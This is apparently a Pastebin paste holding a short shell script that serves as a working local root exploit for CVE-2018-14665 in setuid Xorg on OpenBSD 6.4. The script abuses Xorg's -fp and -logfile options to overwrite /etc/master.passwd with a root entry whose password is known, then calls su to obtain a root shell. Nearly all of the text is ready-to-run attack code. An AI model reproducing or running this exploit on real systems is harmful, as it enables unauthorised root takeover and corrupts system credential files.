jaenudinmaulana69

Untitled

Feb 14th, 2022
1,496
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.60 KB | None | 0 0
  1. #!/bin/sh
  2. # local privilege escalation in X11 currently
  3. # unpatched in OpenBSD 6.4 stable - exploit
  4. # uses cve-2018-14665 to overwrite files as root.
  5. # Impacts Xorg 1.19.0 - 1.20.2 which ships setuid
  6. # and vulnerable in default OpenBSD.
  7. #
  8. # - https://hacker.house
  9. echo [+] OpenBSD 6.4-stable local root exploit
  10. cd /etc
  11. Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh' -logfile master.passwd :1 &
  12. sleep 5
  13. pkill Xorg
  14. echo [-] dont forget to mv and chmod /etc/master.passwd.old back
  15. echo [+] type 'Password1' and hit enter for root
  16. su -
Advertisement
Add Comment
Please, Sign In to add comment